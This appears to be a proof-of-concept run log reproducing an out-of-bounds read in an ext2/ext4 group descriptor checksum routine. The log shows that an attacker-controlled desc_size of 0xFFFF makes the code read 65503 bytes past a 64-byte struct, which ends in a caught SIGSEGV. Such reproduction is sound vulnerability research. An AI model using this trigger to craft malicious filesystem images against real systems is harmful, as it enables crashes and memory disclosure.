DF-0876 / run.log
harness.c: In function 'sig_segv':
write(2, buf, n);
^~~~~
^~~~~
BUILD_OK
[*] sizeof(struct ext2_gd) = 64 bytes
[*] offsetof(ext4bgd_csum) = 30 bytes
[A] desc_size=0 (legitimate rev0 GD):
csum=0x8cb0 OOB read length = 0 bytes (expected 0)
[B] desc_size=64 (legitimate 64bit GD):
csum=0x2c9a read length = 32 bytes (32..64 within GD)
[C] desc_size=0xFFFF (attacker-controlled, METADATA_CKSUM only):
csum=0x2c9a read length = 65503 bytes
OOB read: gd+32 .. gd+65535 (length 65503)
struct ext2_gd ends at gd+64
-> read extends 65471 bytes PAST the 64-byte struct ext2_gd.
[D] Invoking ext2_gd_csum_faulting (full ext2_csum.c:684-686 read):
GD at 0x800473fc0 (end of page 1); next page PROT_NONE at 0x800474000
Expecting SIGSEGV at 0x800474000 (= gd+64 = start of PROT_NONE page).
[!] SIGSEGV caught during csum read at addr 0x0000000800474000
HARNESS_RC=133